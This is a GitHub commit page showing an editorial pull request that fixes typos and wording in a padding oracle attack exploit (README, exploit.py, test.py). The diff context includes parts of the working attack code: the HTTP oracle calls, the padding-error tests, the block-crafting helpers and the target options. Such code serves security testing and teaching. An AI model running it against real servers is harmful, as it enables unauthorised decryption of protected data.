Skip to content

Commit b2cf75d

Browse files
authored
Merge pull request #3 from towynlin/editorial
Editorial changes
2 parents 179a340 + 3193e7a commit b2cf75d

File tree

3 files changed

+28
-32
lines changed

3 files changed

+28
-32
lines changed

Diff for: README.md

+11-11
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
# Padding Oracle Attack
22

33
An exploit for the [Padding Oracle Attack](https://en.wikipedia.org/wiki/Padding_oracle_attack). Tested against ASP.NET, works like a charm. The CBC mode must use [PKCS7](https://en.wikipedia.org/wiki/Padding_%28cryptography%29#PKCS7) for the padding block.
4-
This is an implementation of this great article [Padding Oracle Attack](https://not.burntout.org/blog/Padding_Oracle_Attack/). Since the article is not very well formated and maybe unclear, I made an explanation in the readme. i advise you to read it if you want to understand the basics of the attack.
5-
This exploit allow block size of 8 or 16 this mean it can be use even if the cipher use AES or DES. You can find instructions to launch the attack [here](https://github.com/mpgn/Padding-Oracle-Attack#options).
4+
This is an implementation of this great article [Padding Oracle Attack](https://not.burntout.org/blog/Padding_Oracle_Attack/). Since the article is not very well formated and maybe unclear, I made an explanation in the readme. I advise you to read it if you want to understand the basics of the attack.
5+
This exploit allows block sizees of 8 or 16. This means it can be used if the cipher uses AES or DES. You can find instructions to launch the attack [here](https://github.com/mpgn/Padding-Oracle-Attack#options).
66

77
I also made a test file `test.py`, you don't need a target to use it :)
88

@@ -116,14 +116,14 @@ Details required options:
116116
-l length of a block example: 8 or 16
117117
-u UrlTarget for example: ?/page=
118118
--host hostname example: google.fr
119-
--error Error that the orcale give you for a wrong padding
119+
--error Error that the oracle gives you for a wrong padding
120120
example: with HTTP method: 200,400,500
121121
with DOM HTML : "<h2>Padding Error</h2>"
122122
```
123123
Optional options:
124124
```bash
125125
--cookie Cookie parameter example: PHPSESSID=9nnvje7p90b507shfmb94d7
126-
--method Default GET methode but can se POST etc
126+
--method Default GET method but can set POST etc
127127
--post POST parameter if you need example 'user':'value', 'pass':'value'
128128
```
129129
@@ -144,10 +144,10 @@ No problem, find these line and do what you have to do :)
144144
145145
* Custom oracle response:
146146
```python
147-
####################################
148-
# CUSTOM YOUR RESPONSE ORACLE HERE #
149-
####################################
150-
''' the function you want change to adapte the result to your problem '''
147+
#######################################
148+
# CUSTOMIZE YOUR RESPONSE ORACLE HERE #
149+
#######################################
150+
''' The function you want change to adapt the result to your problem '''
151151
def test_validity(response,error):
152152
try:
153153
value = int(error)
@@ -165,9 +165,9 @@ def test_validity(response,error):
165165
166166
* Custom oracle call (HTTP)
167167
```python
168-
################################
169-
# CUSTOM YOUR ORACLE HTTP HERE #
170-
################################
168+
###################################
169+
# CUSTOMIZE YOUR ORACLE HTTP HERE #
170+
###################################
171171
def call_oracle(host,cookie,url,post,method,up_cipher):
172172
if post:
173173
params = urllib.urlencode({post})

Diff for: exploit.py

+13-15
Original file line numberDiff line numberDiff line change
@@ -15,10 +15,10 @@
1515
from itertools import cycle
1616
from urllib.parse import urlencode
1717

18-
####################################
19-
# CUSTOM YOUR RESPONSE ORACLE HERE #
20-
####################################
21-
""" the function you want change to adapte the result to your problem """
18+
#######################################
19+
# CUSTOMIZE YOUR RESPONSE ORACLE HERE #
20+
#######################################
21+
""" The function you want change to adapt the result to your problem """
2222

2323

2424
def test_validity(response, error):
@@ -30,16 +30,16 @@ def test_validity(response, error):
3030
except ValueError:
3131
pass # it was a string, not an int.
3232

33-
# oracle repsonse with data in the DOM
33+
# oracle response with data in the DOM
3434
data = response.read()
3535
if data.find(error.encode()) == -1:
3636
return 1
3737
return 0
3838

3939

40-
################################
41-
# CUSTOM YOUR ORACLE HTTP HERE #
42-
################################
40+
###################################
41+
# CUSTOMIZE YOUR ORACLE HTTP HERE #
42+
###################################
4343
def call_oracle(host, cookie, url, post, method, up_cipher):
4444
if post:
4545
params = urlencode({post})
@@ -56,13 +56,11 @@ def call_oracle(host, cookie, url, post, method, up_cipher):
5656
return conn, response
5757

5858

59-
# the exploit don't need to touch this part
60-
# split the cipher in len of size_block
6159
def split_len(seq, length):
6260
return [seq[i : i + length] for i in range(0, len(seq), length)]
6361

6462

65-
""" create custom block for the byte we search"""
63+
""" Create custom block for the byte we search"""
6664

6765

6866
def block_search_byte(size_block, i, pos, l):
@@ -75,7 +73,7 @@ def block_search_byte(size_block, i, pos, l):
7573
)
7674

7775

78-
""" create custom block for the padding"""
76+
""" Create custom block for the padding"""
7977

8078

8179
def block_padding(size_block, i):
@@ -153,7 +151,7 @@ def run(cipher, size_block, host, url, cookie, method, post, error):
153151
found = True
154152
connection.close()
155153

156-
# data analyse and insert in rigth order
154+
# data analyse and insert in right order
157155
value = re.findall("..", bk)
158156
valide_value.insert(0, value[size_block - (i + 1)])
159157

@@ -238,7 +236,7 @@ def run(cipher, size_block, host, url, cookie, method, post, error):
238236
"--length_block_cipher",
239237
required=True,
240238
type=int,
241-
help="lenght of a block cipher: 8,16",
239+
help="length of a block cipher: 8,16",
242240
)
243241
parser.add_argument("--host", required=True, help="url example: /page=")
244242
parser.add_argument("-u", "--urltarget", required=True, help="url example: /page=")
@@ -251,7 +249,7 @@ def run(cipher, size_block, host, url, cookie, method, post, error):
251249
"--cookie", help="Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7", default=""
252250
)
253251
parser.add_argument(
254-
"--method", help="Type methode like POST GET default GET", default="GET"
252+
"--method", help="HTTP method like POST GET default GET", default="GET"
255253
)
256254
parser.add_argument(
257255
"--post", help="POST data example: 'user':'value', 'pass':'value'", default=""

Diff for: test.py

+4-6
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ def decrypt(enc, iv):
5252
return unpad(decipher.decrypt(enc))
5353

5454

55-
""" the function you want change to adapte the result to your problem """
55+
""" The function you want change to adapt the result to your problem """
5656

5757

5858
def test_validity(error):
@@ -67,7 +67,7 @@ def call_oracle(up_cipher, iv):
6767
return 200
6868

6969

70-
""" create custom block for the byte we search"""
70+
""" Create custom block for the byte we search"""
7171

7272

7373
def block_search_byte(size_block, i, pos, l):
@@ -80,7 +80,7 @@ def block_search_byte(size_block, i, pos, l):
8080
)
8181

8282

83-
""" create custom block for the padding"""
83+
""" Create custom block for the padding"""
8484

8585

8686
def block_padding(size_block, i):
@@ -93,8 +93,6 @@ def block_padding(size_block, i):
9393
return "00" * (size_block - (i + 1)) + "".join(l)
9494

9595

96-
# the exploit don't need to touch this part
97-
# split the cipher in len of size_block
9896
def split_len(seq, length):
9997
return [seq[i : i + length] for i in range(0, len(seq), length)]
10098

@@ -116,7 +114,7 @@ def run(cipher, size_block):
116114

117115
if len(cipher_block) == 1:
118116
print(
119-
"[-] Abort there is only one block, i can't influence the IV. Tried a longer message"
117+
"[-] Abort there is only one block. I can't influence the IV. Try a longer message."
120118
)
121119
sys.exit()
122120

0 commit comments

Comments
 (0)